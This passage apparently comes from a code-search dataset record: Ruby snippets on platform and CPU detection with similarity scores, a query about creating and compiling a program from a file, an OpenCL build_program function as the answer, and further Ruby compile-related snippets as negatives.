-a`.include?('armv6')\n platform << \"mac\" if (/darwin/ =~ RUBY_PLATFORM) != nil\n platform << \"arm\" if (/arm/ =~ RUBY_PLATFORM) != nil\n platform << \"x86\" if (/x86/ =~ RUBY_PLATFORM) != nil\n platform << \"i686\" if (/i686/ =~ RUBY_PLATFORM) != nil\n platform << \"microsoft\" if testos.include?('Microsoft')\n platform << \"debian\" if testos.include?('Debian')\n platform << \"ubuntu\" if testos.include?('Ubuntu')\n platform << \"linux\" if (/linux/ =~ RUBY_PLATFORM) != nil\n platform\n end", "def platform_name\n capabilities['platformName']\n end", "def running_on_shitty_gpu?\n return @shitty_gpu\n end", "def select_local_platforms(specs) # :nodoc:\n specs.select do |spec|\n Gem::Platform.installable? spec\n end\n end", "def platform\n return @platform\n end", "def platform(name)\n case ENV['PLATFORM']\n when 'windows_10_edge'\n {selenium_version: '3.141.59',\n platform_name: 'Windows 10',\n browser_name: 'edge',\n browser_version: '18.17763'}.merge(sauce_w3c(name))\n when 'windows_8_ie'\n # Note: w3c is not working for Windows 8 & IE 11\n {platform: 'Windows 8.1',\n browser_name: 'ie',\n selenium_version: '3.141.59',\n version: '11.0'}.merge(sauce_oss(name))\n when 'mac_sierra_chrome'\n # This is for running with w3c which is not yet the default\n # {platform_name: 'macOS 10.12',\n # browser_name: 'chrome',\n # \"goog:chromeOptions\": {w3c: true},\n # browser_version: '65.0'}.merge(sauce_w3c name)\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n when 'mac_mojave_safari'\n {platform_name: 'macOS 10.14',\n browser_name: 'safari',\n browser_version: '12.0'}.merge(sauce_w3c(name))\n when 'windows_7_ff'\n {platform_name: 'Windows 7',\n browser_name: 'firefox',\n browser_version: '60.0'}.merge(sauce_w3c(name))\n else\n # Always specify a default\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n end\n end", "def cpu_select\n highest, hidx = 0, 0\n\n @cpu_hand.cards.each_with_index do |c, idx|\n val = c.value\n\n if @total + val <= 31\n add_cpu_card_to_set( idx ) && return if excellent?( c )\n\n highest, hidx = val, idx if val > highest\n end\n end\n\n # No excellent card, so use the highest layable card\n\n add_cpu_card_to_set( hidx )\n end", "def platform\n spec.platform\n end", "def platform(platform_name)\n @platform_handlers.values.flatten.find { |known_platform| known_platform.name == platform_name }\n end", "def lookup_device(ip)\n\t\t@map[ip]\n\tend", "def platform; end", "def platform; end", "def platform; end", "def get_cpu_info(workstation_id); end", "def machine(name)\n @env.active_machines.each do |m|\n node = @env.machine(*m)\n return node if node.name == name\n end\n nil\n end", "def test_platform_uses_unknown_if_uname_fails\n NewRelic::Helper.stubs('run_command').with('uname -s').raises(NewRelic::CommandRunFailedError)\n NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, 'java') do\n platform = NewRelic::Agent::Samplers::MemorySampler.platform\n\n assert_equal 'unknown', platform\n end\n end", "def platform\n raise NotImplementedError\n end", "def platform\n raise NotImplementedError\n end", "def get_cpu(snmp = nil)\n snmp = snmp_manager unless snmp\n\n get_routing_engines(snmp) if @routing_engines.empty?\n res = gather_snmp_metrics_by_name(\"CPU\", @routing_engines, ROUTING_ENGINE_CPU, snmp)\n NewRelic::PlatformLogger.debug(\"Device: Got #{res.size}/#{@routing_engines.size} CPU metrics\")\n return res\n end", "def platform(platform = nil, options={})\n platform ? @platform = Platform.new(platform, options) : @platform\n end", "def platform?(what)\n\t\t(platform & what).empty? == false\n\tend", "def platform_id\n case [edition, fp]\n when [0, 9]\n 0x101f6f88\n when [1, 0]\n 0x101f795f\n when [1, 2]\n 0x101f8202\n when [2, 0]\n 0x101f7960\n when [2, 1]\n 0x101f9115\n when [2, 2]\n 0x101f9115\n when [2, 3]\n 0x10200bab\n when [3, 0]\n 0x101f7961\n when [3, 1]\n 0x102032be\n else\n raise\n end\n end", "def platform\n osver[0]\n end", "def os(platform: self.platform)\n platform = self.platform unless fetch_all('computer.platform').include?(platform)\n fetch(\"computer.os.#{platform.downcase}\")\n end", "def detect_cpu_cores(platform, default_cores_count = 4)\n case platform\n when :windows\n detect_cpu_cores_win\n when :linux, :mac\n detect_cpu_cores_nix\n end\n rescue LoadError\n warn \"Can't detect number of CPUs for sure. \" \\\n \"Using default: #{default_cores_count}\"\n default_cores_count\n end", "def get_platform(platform = nil)\n platform ||= RUBY_PLATFORM\n case platform\n when /darwin/ then :MACOS\n when /cygwin|mswin|mingw|bccwin|wince|emx/ then :WINDOWS\n else :LINUX\n end\n end", "def platform?(*args)\n has_platform = false\n\n args.flatten.each do |platform|\n has_platform = true if platform.to_s == node[:platform]\n end\n\n has_platform\n end", "def platform_klass\n @platform.name.to_s.classify.constantize\n\n rescue NameError\n raise Platforms::ClassDoesNotExist\n end", "def get_driver\n @@semaphore.synchronize do\n @@pool.each do |entry|\n unless entry[:taken]\n entry[:taken] = true\n return entry[:driver]\n end\n end\n end\n nil\n end", "def physical_devices\n @instruments_physical_devices ||= lambda do\n fetch_devices[:out].chomp.split(\"\\n\").map do |line|\n udid = line[DEVICE_UDID_REGEX, 0]\n if udid\n version = line[VERSION_REGEX, 0]\n if version\n name = line.split('(').first.strip\n if name\n RunLoop::Device.new(name, version, udid)\n end\n end\n else\n nil\n end\n end.compact\n end.call\n end", "def find_processor_by_dataset(dataset)\n processors.values.detect { |p| p.datasets&.include? dataset }\n end", "def lookup_node_by_hw_id(options = { :hw_id => [] })\n unless options[:hw_id].count > 0\n return nil\n end\n matching_nodes = []\n nodes = get_data.fetch_all_objects(:node)\n nodes.each do\n |node|\n matching_hw_id = node.hw_id & options[:hw_id]\n matching_nodes << node if matching_hw_id.count > 0\n end\n\n if matching_nodes.count > 1\n # uh oh - we have more than one\n # This should have been fixed during reg\n # this is fatal - we raise an error\n resolve_node_hw_id_collision\n matching_nodes = [lookup_node_by_hw_id(options)]\n end\n\n if matching_nodes.count == 1\n matching_nodes.first\n else\n nil\n end\n end", "def platform(arg = nil)\n set_or_return(:platform, arg, kind_of: String, required: true)\n end", "def processor_count\n case RbConfig::CONFIG['host_os']\n when /darwin9/\n `hwprefs cpu_count`.to_i\n when /darwin/\n (`which hwprefs` != '' ? `hwprefs thread_count` : `sysctl -n hw.ncpu`).to_i\n when /linux|cygwin/\n `grep -c ^processor /proc/cpuinfo`.to_i\n when /(net|open|free)bsd/\n `sysctl -n hw.ncpu`.to_i\n when /mswin|mingw/\n require 'win32ole'\n wmi = WIN32OLE.connect(\"winmgmts://\")\n cpu = wmi.ExecQuery(\"select NumberOfLogicalProcessors from Win32_Processor\")\n cpu.to_enum.first.NumberOfLogicalProcessors\n when /solaris2/\n `psrinfo -p`.to_i # this is physical cpus afaik\n else\n $stderr.puts \"Unknown architecture ( #{RbConfig::CONFIG[\"host_os\"]} ) assuming one processor.\"\n 1\n end\nend", "def get_hardware_info()\n results = { summary_string: \"Unknown hardware\" }\n return results if not is_sunxi_hardware()\n\n val = mem_read_word(VER_REG)\n return results if not val\n\n # Check the VER_R_EN bit and set it if necessary\n if (val & (1 << 15)) == 0 then\n mem_write_word(VER_REG, val | (1 << 15))\n val = mem_read_word(VER_REG)\n end\n\n # Test the SoC type\n case val >> 16\n when 0x1623\n results[:soc_type] = \"sun4i\"\n results[:soc_name] = \"Allwinner A10\"\n when 0x1625\n results[:soc_type] = \"sun5i\"\n case (mem_read_word(SID_KEY2) >> 12) & 0xF\n when 0\n results[:soc_name] = \"Allwinner A12\"\n when 3\n results[:soc_name] = \"Allwinner A13\"\n when 7\n results[:soc_name] = \"Allwinner A10s\"\n end\n when 0x1633\n results[:soc_type] = \"sun6i\"\n results[:soc_name] = \"Allwinner A31(s)\"\n when 0x1650\n results[:soc_type] = \"sun8i\"\n results[:soc_name] = \"Allwinner A23\"\n when 0x1651\n results[:soc_type] = \"sun7i\"\n results[:soc_name] = \"Allwinner A20\"\n end\n\n # Parse the dram info\n data = `a10-meminfo`\n dram_chip_density = 0\n dram_bus_width = 0\n dram_io_width = 0\n if data =~ /dram_clk\\s*\\=\\s*(\\d+)/ then\n results[:dram_clock] = $1.to_i\n end\n if data =~ /mbus_clk\\s*\\=\\s*(\\d+)/ then\n results[:mbus_clock] = $1.to_i\n end\n if data =~ /dram_chip_density\\s*\\=\\s*(\\d+)/ then\n dram_chip_density = $1.to_i\n end\n if data =~ /dram_bus_width\\s*\\=\\s*(\\d+)/ then\n dram_bus_width = $1.to_i\n end\n if data =~ /dram_io_width\\s*\\=\\s*(\\d+)/ then\n dram_io_width = $1.to_i\n end\n results[:dram_size] = dram_bus_width * dram_chip_density /\n (dram_io_width * 8)\n results[:dram_bus_width] = dram_bus_width\n\n results[:summary_string] = sprintf(\"SoC: %s\",\n (results[:soc_name] or \"unknown\"))\n\n if results[:dram_clock] then\n results[:summary_string] += sprintf(\", DRAM: %d MiB, %d-bit, %d MHz\",\n results[:dram_size],\n results[:dram_bus_width],\n results[:dram_clock])\n end\n\n if results[:mbus_clock] && results[:mbus_clock] != 0 then\n results[:summary_string] += sprintf(\", MBUS: %d MHz\",\n results[:mbus_clock])\n end\n\n return results\nend", "def mobile_platform\n return @children['mobile-platform'][:value]\n end", "def find_ppi(width, height)\n sc = screen_config(width, height)\n return sc ? sc[:ppi] : nil\n end", "def test_platform_uses_ruby_platform\n stubbed = 'ENCOM OS-12'\n NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, stubbed) do\n platform = NewRelic::Agent::Samplers::MemorySampler.platform\n\n assert_equal platform, stubbed.downcase\n end\n end", "def spec(platform = RUBY_PLATFORM[/java/] || 'ruby')\n @specs ||= %w(ruby java x86-mswin32).inject({}) { |hash, spec_platform|\n ENV['BUILDR_PLATFORM'] = spec_platform\n hash.update(spec_platform=> Gem::Specification.load('buildr.gemspec'))\n Gem::Specification._clear_load_cache\n ENV['BUILDR_PLATFORM'] = nil\n hash\n }\n @specs[platform]\nend", "def find_least_used_compatible_host(_pool_name, _vm_name)\n #for v1 virtualbox support this is all local so the hostname will always be localhost\n return 'localhost'\n end", "def device(value, &block)\n value = value.to_s\n device = devices.find { |d| d.name == value || d.shortname == value }\n\n run_device_block_if_needed(device, &block)\n\n device\n end", "def hardware_node\n @retain_user_connection_parameters.hardware_node\n end", "def machine\n\t\tif @argv.size < 1\n\t\t\treturn nil\n\t\tend\n\n\t\tif @argv[0] == '_'\n\t\t\treturn nil\n\t\tend\n\n\t\treturn @argv[0]\n\tend" ]
[ "0.673341", "0.6555816", "0.6337557", "0.62803143", "0.6276857", "0.6262905", "0.6216449", "0.6175457", "0.6170042", "0.6135426", "0.61042666", "0.61007124", "0.60335356", "0.60184044", "0.6013356", "0.6010757", "0.6008459", "0.5994639", "0.59619784", "0.5946652", "0.5807925", "0.58065164", "0.5771462", "0.5752537", "0.5735618", "0.57158047", "0.57125294", "0.57125294", "0.57125294", "0.57108027", "0.57091564", "0.5701018", "0.5690207", "0.5650109", "0.56375587", "0.5625747", "0.56132215", "0.5610013", "0.560396", "0.55973154", "0.55935967", "0.5593403", "0.55824846", "0.5582047", "0.5576477", "0.5554168", "0.5554168", "0.5551949", "0.5541811", "0.55348295", "0.5531939", "0.5527328", "0.55255276", "0.552485", "0.55234903", "0.5517073", "0.551641", "0.551486", "0.54975677", "0.5482789", "0.545379", "0.5453225", "0.5439935", "0.5435163", "0.5414362", "0.53937733", "0.5386837", "0.53692037", "0.53692037", "0.53692037", "0.5365266", "0.53561795", "0.53533196", "0.53401196", "0.53401196", "0.5333957", "0.53327924", "0.53320205", "0.53180134", "0.531333", "0.53068435", "0.529287", "0.5287616", "0.5281058", "0.5278909", "0.5273924", "0.52583665", "0.5252813", "0.5212069", "0.52085376", "0.5203023", "0.5198082", "0.5194224", "0.51934606", "0.5182843", "0.51816493", "0.5166234", "0.516586", "0.5149038", "0.51481396" ]
0.62612396
6
Create program from a file and compile it cl_context : ctx, cl_device_id : dev, const char : filename
def build_program(ctx, dev, filename) abort("Couldn't find the program file") if not File.exists?(filename) # Read program file and place content into buffer program_buffer = File.read(filename) # Create program from file err_buf = ' ' * 4 program = clCreateProgramWithSource(ctx, 1, [program_buffer].pack("p"), [program_buffer.bytesize].pack("Q"), err_buf) err = err_buf.unpack("l")[0] abort("Couldn't create the program") if err < 0 # Build program err = clBuildProgram(program, 0, nil, nil, nil, nil) if err < 0 # Find size of log and print to std output log_size_buf = ' ' * 4 clGetProgramBuildInfo(program, dev, CL_PROGRAM_BUILD_LOG, 0, nil, log_size_buf) log_size = log_size_buf.unpack("L")[0] program_log = ' ' * log_size clGetProgramBuildInfo(program, dev, CL_PROGRAM_BUILD_LOG, log_size, program_log, nil) abort(program_log) end return program end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(context, owner, file)\n# puts \"calling Compiler on #{file}\"\n @context = context\n @owner = owner\n @file = file\n utterance = ''\n File.open(file) do |f|\n f.each_line { |l| utterance << l }\n end\n # Since this is a new compiler, we need to wipe out any old compiler catalog stuff\n # Compiler.init_catalog(context)\n planner = OverlogPlanner.new(@context, utterance)\n planner.plan\n @the_program = planner.program\t\t\n\n # typeChecker = TypeChecker.new(@runtime, @the_program)\n # This is an XTC-ism\n # args = [\"-no-exit\", \"-silent\", file]\n # run(args)\n\n # if (runtime.errorCount > 0) then\n # @the_program.definitions.each { |table| Table.drop(table.name) }\n # end\n end", "def compile(src, options = '')\n return self if src == @source\n\n @mutex.lock\n begin\n @program = @context.create_program src\n # Compilte the program on all available devices in the context.\n @program.build @context.devices, options, nil\n @source = src.freeze\n rescue CLError => e\n if e.program_build_failed?\n raise ProgramBuildError, @program.build_info(@context.default_device, CL_PROGRAM_BUILD_LOG)\n else\n raise e\n end\n ensure\n @mutex.unlock\n end\n self\n end", "def compile_file(ctx, source)\n compile_string(ctx, File.read(source))\n rescue StandardError => e\n puts \"Error compiling file: #{source}\"\n raise e\n end", "def compile filetask,system_config,platform\n cmd_file=command_file(filetask.name,system_config,platform)\n if File.exists?(cmd_file)\n mkdir_p(File.dirname(filetask.name),:verbose=>false)\n config=system_config.platform_config(platform)\n if is_assembly?(filetask.prerequisites.first)\n cmdline = assembler(cmd_file,config)\n else\n cmdline = compiler(cmd_file,config)\n end\n sh(cmdline.join(' '))\n else\n raise GaudiError, \"Missing command file for #{filetask.name}\"\n end\n end", "def compile(filename)\n # First pass - define labels\n elements.each do |codeline|\n codeline.register_labels\n @@position += codeline.size\n end\n\n # Second pass - write to binary file\n File.open(filename, 'wb') do |f|\n elements.each do |codeline|\n f.write codeline.to_bin\n end\n end\n end", "def generate_c_source( dir, filename = self.name + '.c' )\r\n # TODO\r\n puts \"generating \" + dir + '/' + filename\r\n end", "def run(target, sources, cache, env, vars)\n vars = vars.merge({\n \"_TARGET\" => target,\n \"_SOURCES\" => sources,\n })\n cmd =\n case\n when sources.first.end_with?(\".l\", \".ll\")\n \"LEX\"\n when sources.first.end_with?(\".y\", \".yy\")\n \"YACC\"\n else\n raise \"Unknown source file #{sources.first.inspect} for CFile builder\"\n end\n command = env.build_command(\"${#{cmd}_CMD}\", vars)\n standard_build(\"#{cmd} #{target}\", target, command, sources, env, cache)\n end", "def compiler cmdfile,config\n cc=config['compiler']\n raise GaudiConfigurationError,\"Missing 'compiler' setting\" unless cc\n return command_line(cc,cmdfile,config.fetch('compiler_commandfile_prefix',\"\"))\n end", "def main\n\n begin\n\n raise \"Usage: #{$0} source_file target_file\" unless ARGV.length == 2\n\n myAcDc = AcDcCompiler.new(ARGV)\n myAcDc.get_input\n myAcDc.parse\n myAcDc.optimize\n myAcDc.code_generate \n rescue Exception => e # Compile failed.\n puts e.message\n end\n \nend", "def compile_program filename, sexp\n @filename = filename\n if sexp.nil?\n position = [] # because the debugger special-cases this possibility\n elsif sexp[0] == :block\n position = [] # because position will be printed anyway\n elsif sexp.source\n position = [[:position, @filename] + sexp.source]\n elsif sexp[0] == :masgn\n position = [[:position, @filename] + sexp[1][1].source]\n else\n no 'top s-exp with nil source'\n end\n\n position + compile(sexp)\n end", "def compile(infile, outfile, asm)\n\n File.open(infile, 'r') do |input|\n File.open(outfile, 'wb') do |out|\n compiler = Compiler.new(input, asm)\n out.print(compiler.compile)\n end\n end\n\nrescue ParseError => e\n error(\"[error] #{e.message}\")\n error(\"[context] #{e.context}\")\n # error(\"Aborting!\")\n error(e.caller)\n exit(1)\nend", "def compile\n exe_file = File.join(@temp_dir, 'exe')\n result = TTY::Command.new(printer: :quiet).run!('gcc', '-o', exe_file, @src_file)\n [exe_file, result]\n end", "def build filetask,system_config,platform\n cmd_file=command_file(filetask.name,system_config,platform)\n if File.exists?(cmd_file)\n config=system_config.platform_config(platform)\n if cmd_file.end_with?('.library')\n cmdline = librarian(cmd_file,config)\n else\n cmdline = linker(cmd_file,config)\n end\n sh(cmdline.join(' '))\n else\n raise GaudiError, \"Missing command file for #{filetask.name}\"\n end\n end", "def program\n @compile\n end", "def compile_file(path)\n path = \"#{path}.rb\" unless path =~ /\\.rb\\Z/\n res = RubyVM::InstructionSequence.compile_file(path)\n data = Marshal.dump(res.to_a)\n rbc_path = path + \"c\"\n File.open(rbc_path, \"w+\") {|f| f.write data }\n rescue NotImplementedError\n # Ruby bug with terminated objects\n false\n end", "def compile\r\n case language\r\n when :boolexp\r\n true\r\n when :fart\r\n @prog = Farts::Parser.new.parse(src)\r\n log.info \"Compile of FART program - #{name}\"\r\n true\r\n else\r\n false\r\n end\r\n rescue Exception\r\n log.error $!\r\n @prog = nil\r\n false\r\n end", "def compilation_without_makefile\n # Build the program\n build_msg = `#{@build_command} *.c -o #{@pgm}`\n @log_file.puts \"\\nConstruction du programme :\\n\\n#{build_msg}\"\n end", "def lessc(file_info)\n compile_file(file_info[1], \"app\")\nend", "def compile_program(program)\n @compile_counter = 0\n program.each_line do |line| \n self.compile_line(line) \n end\n end", "def mkcompiler source=''\n VishCompiler.new source\nend", "def process(code, context)\n compiler = Verneuil::Compiler.new\n program = compiler.compile(code)\n # p program\n Verneuil::Process.new(program, context)\nend", "def compile(filename)\n check_cookie\n Native::magic_compile(@cookie, filename);\n end", "def compile(script, filename=nil, linenum=nil)\n raise NotImplementedError\n end", "def compileCmd(srcfile)\n\t\treturn case BuildEnv::entityTypeSafe(srcfile)[0]\n\t\t\twhen :c then \"#{@CC} #{@CFLAGS.join(' ')}\"\n\t\t\twhen :cxx then \"#{@CXX} #{@CXXFLAGS.join(' ')}\"\n\t\t\twhen :f then \"#{@FCC} #{@FFLAGS.join(' ')}\" \n\t\t\telse raise \"shouldn't happen\"\n\t\tend\n\tend", "def create(filename)\n input = self.read('templates/codeml.ctl.erb')\n\n # Using ERB templates\n output = ERB.new(input).result(binding)\n\n # Create a blank file then put the contents of the output in\n self.create_file(\"#{filename}\", output)\n end", "def compile_from_command_line(args)\n compress = false\n if args.index(\"-c\") != nil or args.index(\"--compress\") != nil\n compress = true\n args = args.keep_if { |arg| [\"-c\", \"--compress\"].index(arg) == nil }\n end\n \n if args.index(\"-d\") != nil\n d_index = args.index(\"-d\")\n if args.length < d_index + 1\n raise Exception, \"The -d argument must be followed immediately by a directory path in which to compiler .wml files.\"\n end\n \n dir_path = args[d_index + 1]\n \n if !File.directory? dir_path\n raise Exception, \"Invalid directory path following -d argument.\"\n end\n \n Dir.chdir dir_path\n if args[\"-r\"] != nil\n Dir['**/*'].each { |f|\n if File.directory? f and ['.', '..'][f] == nil\n puts f\n compile_file_from_path(f, :strict => false, :compress => compress)\n end\n }\n else\n Dir['*'].each { |f|\n if File.directory? f and ['.', '..'][f] == nil\n puts f\n compile_file_from_path(f, :strict => false, :compress => compress)\n end\n }\n end\n \n else\n strict = true\n if args.index(\"-f\") != nil or args.index(\"--force\") != nil\n strict = false\n args = args.keep_if { |arg| [\"-f\", \"--force\"].index(arg) == nil }\n end\n \n args.each { |filepath|\n compile_file_from_path(filepath, :strict => strict, :compress => compress)\n }\n \n end\nend", "def compile_and_copy(source_file, *args)\n config = args.last.is_a?(Hash) ? args.pop : {}\n destination = args.first\n context = instance_eval('binding')\n content = ERB.new(::File.binread(source_file)).result(context)\n open(destination, 'w') { |f| f << content }\n end", "def interpret(source)\n c = compile(source)\n ci = cifrom(c)\n ci.run\nend", "def compile(spec)\n handle_exceptions {\n @oneline = spec.index(\"\\n\").nil?\n @spec = spec.sub(/^\\s*\\n/, \"\")\n @file = find_caller_file\n @tokens = Lexer.lex(name, @spec, @oneline)\n ast = Parser.parse(tokens)\n\n help_spec = (@help == true ? \"-h,help\" : @help)\n version_spec = (@version == true ? \"--version\" : @version)\n quiet_spec = (@quiet == true ? \"-q,quiet\" : @quiet)\n verbose_spec = (@verbose == true ? \"+v,verbose\" : @verbose)\n debug_spec = (@debug == true ? \"--debug\" : @debug)\n\n @quiet_option = \n ast.inject_option(quiet_spec, \"Quiet\", \"Do not write anything to standard output\") if @quiet\n @verbose_option = \n ast.inject_option(verbose_spec, \"Increase verbosity\", \"Write verbose output\") if @verbose\n @debug_option = \n ast.inject_option(debug_spec, \"Write debug information\") if @debug\n @help_option = \n ast.inject_option(help_spec, \"Write short or long help\") { |option|\n short_option = option.short_names.first \n long_option = option.long_names.first\n [\n short_option && \"#{short_option} prints a brief help text\",\n long_option && \"#{long_option} prints a longer man-style description of the command\"\n ].compact.join(\", \")\n } if @help\n @version_option = \n ast.inject_option(version_spec, \"Write version number and exit\") if @version\n\n @grammar = Analyzer.analyze(ast)\n }\n self\n end", "def compile\n cmd = self.command\n#puts ' + ' + cmd\n log.debug \"Invoking the compiler\"\n rc = Platform.execute cmd\n log.debug \"Compilation complete; rc=#{rc.to_s}\"\n rc\n end", "def create_shader(shader_type, file_name)\n\t\tshader_id = GL20.gl_create_shader(shader_type)\n\t\tshader_file = File.new File.expand_path(\"../../glsl/#{file_name}\", __FILE__)\n\n\t\tGL20.gl_shader_source(shader_id, shader_file.read)\n\t\tGL20.gl_compile_shader(shader_id)\n\n\t\tputs file_name, GL20.gl_get_shader_info_log(shader_id, 200)\n\n\t\tshader_id\n\tend", "def compile(compilable)\r\n compiler = File.expand_path @compiler_exe, @compiler_path\r\n result = []\r\n \r\n compilable.compiler_target_files.each do |target_file|\r\n # Construct paths.\r\n include_paths = \"-I#{compilable.compiler_include_paths.join ';'}\" unless\r\n compilable.compiler_include_paths.empty?\r\n \r\n module_paths = \"-M#{compilable.compiler_module_paths.join ';'}\" unless\r\n compilable.compiler_module_paths.empty?\r\n \r\n library_paths = \"-L#{compilable.compiler_library_paths.join ';'}\" unless\r\n compilable.compiler_library_paths.empty?\r\n \r\n # Run the NetLinx compiler.\r\n # Note: NLRC.exe v2.1 freaks out if empty arguments (\"\") are in the command.\r\n cmd = ''\r\n cmd += 'wine ' if @use_wine or compiler.include? '/.wine/'\r\n cmd += \"\\\"#{compiler}\\\" \\\"#{target_file}\\\"\"\r\n cmd += \" \\\"#{include_paths}\\\"\" if include_paths\r\n cmd += \" \\\"#{module_paths}\\\"\" if module_paths\r\n cmd += \" \\\"#{library_paths}\\\"\" if library_paths\r\n \r\n io = IO.popen cmd\r\n stream = io.read\r\n io.close\r\n \r\n # Build the result.\r\n result << NetLinx::CompilerResult.new(\r\n compiler_target_files: [target_file],\r\n compiler_include_paths: compilable.compiler_include_paths,\r\n compiler_module_paths: compilable.compiler_module_paths,\r\n compiler_library_paths: compilable.compiler_library_paths,\r\n stream: stream\r\n )\r\n end\r\n \r\n result\r\n end", "def compile_file(file, options = {})\n @current_file = Pathname.new(file)\n # This is used when templates are compiled through a test program, but can\n # be problematic when used to compile files standalone. In practice this may\n # not be an issue except when testing Origen and generating and compiling within\n # the same thread, but clearing this here doesn't seem to do any harm.\n Origen.file_handler.default_extension = nil\n begin\n Origen.log.info \"Compiling... #{relative_path_to(file)}\" unless options[:quiet]\n rescue\n Origen.log.info \"Compiling... #{file}\" unless options[:quiet]\n end\n Origen.log.info \" Created... #{relative_path_to(output_file(file, options))}\" unless options[:quiet]\n stats.completed_files += 1 if options[:collect_stats]\n if is_erb?(file)\n output = run_erb(file, options)\n f = output_file(file, options).to_s\n if output.is_a?(Pathname)\n FileUtils.mv output.to_s, f\n else\n File.open(f, 'w') { |out| out.puts output }\n end\n else # Just copy it across\n out = output_file(file, options)\n # Delete the target if it already exists, this prevents permission denied errors when copying\n FileUtils.rm_f(out.to_s) if File.exist?(out.to_s)\n FileUtils.cp(file.to_s, out.dirname.to_s)\n end\n if options[:zip]\n `gzip -f -9 #{output_file(file, options)}`\n else\n if @check_for_changes\n check_for_changes(output_file(file, options), reference_file(file, options),\n comment_char: Origen.app.tester ? Origen.app.tester.program_comment_char : nil,\n compile_job: true, ignore_blank_lines: options[:ignore_blank_lines])\n end\n end\n end", "def main(filename)\n @funcnum = 1\n @curfunc = 0\n if @basic_main\n return yield\n end\n\n @out.emit(\".file \\\"#{filename}\\\"\")\n stabs(\"\\\"#{File.dirname(filename)}/\\\",100,0,2,.Ltext0\")\n stabs(\"\\\"#{File.basename(filename)}\\\",100,0,2,.Ltext0\")\n @out.emit(\".text\")\n @files = [filename]\n label(\".Ltext0\")\n export(:main, :function)\n label(:main)\n @out.label(\".LFBB0\")\n pushl(:ebp)\n movl(:esp, :ebp)\n pushl(:ecx)\n\n yield\n\n popl(:ecx)\n popl(:ebp)\n ret()\n emit(\".size\", \"main\", \".-main\")\n end", "def create(projectid, file, filename, target_langs, options = {})\n payload = File.open(file, 'r')\n encoding = payload.external_encoding.to_s\n\n options[:targetLangs] = target_langs\n\n headers = {\n memsource: options.to_json,\n content_type: 'application/octet-stream',\n content_disposition: \"filename\\*=#{encoding}''#{filename}\"\n }\n\n path = \"#{Project::PATH}/#{projectid}/#{PATH}\"\n\n post(path, payload, headers: headers)\n end", "def compile_file(filename = @filename)\n\t\t\tcached = @controller.cached_tilts[filename]\n\t\t\treturn cached if @cache && cached\n\n\t\t\tcompiled = Tilt.new(filename, nil, @tilt_options)\n\t\t\t@controller.cached_tilts[filename] ||= compiled if @cache\n\t\t\tcompiled\n\t\tend", "def compile(script, filename=nil, linenum=nil)\n filename ||= 'none'\n linenum ||= 1\n native_compile(script, filename, linenum)\n end", "def run (path = \"progfile.dat\")\n find_instructions\n find_labels\n\n @input.each do |line|\n if (line.instruction?) || (line.comment?)\n parse_input(line)\n @instruction = nil\n # If it's a comment -> show but not work with it\n if line.instruction?\n \n exists_instruction?\n parse_label\n argument_size?\n argument_syntax?\n\n @instruction.set_arguments(@cmd[:arguments])\n @output << @instruction.code\n end\n show(@output.size-1) if @debug\n end\n @line += 1\n end\n generate(path)\n end", "def generate_data!\n start_dir = Dir.pwd\n \n Dir.chdir tool_path\n system \"./generate -pc #{product_factor} -fn #{filename} -fc\"\n ensure\n Dir.chdir start_dir\n end", "def configure(mode, compiler, path)\n # @config controls the compilation of a C Program\n @config = {\n # Use which compiler to compile the program\n generator: compiler,\n # Store the binary file to where\n path: path\n }\n\n # @mode can be :default, :quiet, :verbose, :help, :compile_only\n @mode = mode\n end", "def do_compile_command(name, file)\n output, result = compile_file(name)\n output = clean_debug(output)\n if (output != \"\" || result != 0)\n puts \"----------------------------------------------------------------------\"\n puts \"BUG: %s failed to compile\" % name\n puts \"----------------------------------------------------------------------\"\n puts output\n puts \"----------------------------------------------------------------------\"\n exit 1\n end\nend", "def source(filename); end", "def process(spec, argv)\n compile(spec)\n interpret(argv)\n self\n end", "def compile\n prep\n client.setup_run_context\n end", "def Generate(filename)\n case $Device\n when 'DIP'\n GenDIP(filename)\n when 'SIP'\n GenSIP(filename)\n when 'QFP'\n GenQFP(filename)\n when 'CAPPR'\n GenCAPPR(filename)\n when 'TRIMR'\n GenTRIMR(filename)\n when 'PinHole'\n GenPinHole(filename)\n when 'MountingHole'\n GenMountingHole(filename)\n else\n puts \"Can't generate device #{$Device}!\"\n end\nend", "def compile_file(file, compiled)\n if CodeLoader.save_compiled?\n Compiler.compile file, compiled\n else\n Compiler.compile_file file\n end\n end", "def run_mxmlc\n if @target_id.nil?\n @target_id = @fcsh.mxmlc(get_compile_command)\n else\n @fcsh.compile(@target_id)\n end\n end", "def perform\n begin\n name = \"rbx-ffi-generators-#{@label}\"\n source = File.expand_path name + @platform.source_ext\n target = File.expand_path name + @platform.executable_ext\n\n File.open source, \"wb\" do |f|\n @subject.source f\n end\n\n if preparer = @subject.prepare(source, target)\n handle preparer, :prepare_failed\n else\n target = source\n end\n\n processor = @subject.process target\n return handle(processor, :process_failed)\n ensure\n remove source, target\n end\n end", "def cfile_for_file path\n _, file, ext = path.match(EXTENSION_REGEX).to_a\n\n if ext && ext != \"\" && compiler = @compilers_by_input[ext]\n get_cfile(path, compiler, ext, compiler[:outputs].first)\n else\n nil\n end\n end", "def compile(path)\n\tif isExecutable(path) and not $link\n\t\t$keep = true\n\t\treturn path\n\tend\n\t\n\tbinaryPath = File.join($testDir, File.basename($link ? $source[0] : path, File.extname(path)))\n\n\tcompilerOutput = Tempfile.new(\"compiler\")\n\n# FIXME: If $link is true, it will only check the extension of the first argument.\n\tif File.extname($link ? $source[0] : path) == \".c\"\n\t\tsystem \"gcc -O2 -o \\\"#{binaryPath}\\\" #{path} &> #{compilerOutput.path}\"\n\telsif File.extname($link ? $source[0] : path) == \".cpp\"\n\t\tsystem \"g++ -O2 -o \\\"#{binaryPath}\\\" #{path} &> #{compilerOutput.path}\"\n\telse\n\t\t$stderr.puts \"This program only works with C or C++ source code.\"\n\t\texit 1\n\tend\n\n\tcompilerMessages = compilerOutput.read\n\n\tunless compilerMessages.empty?\n\t\tunless File.exists?(binaryPath)\n\t\t\t$stderr.puts red(\"Couldn't compile 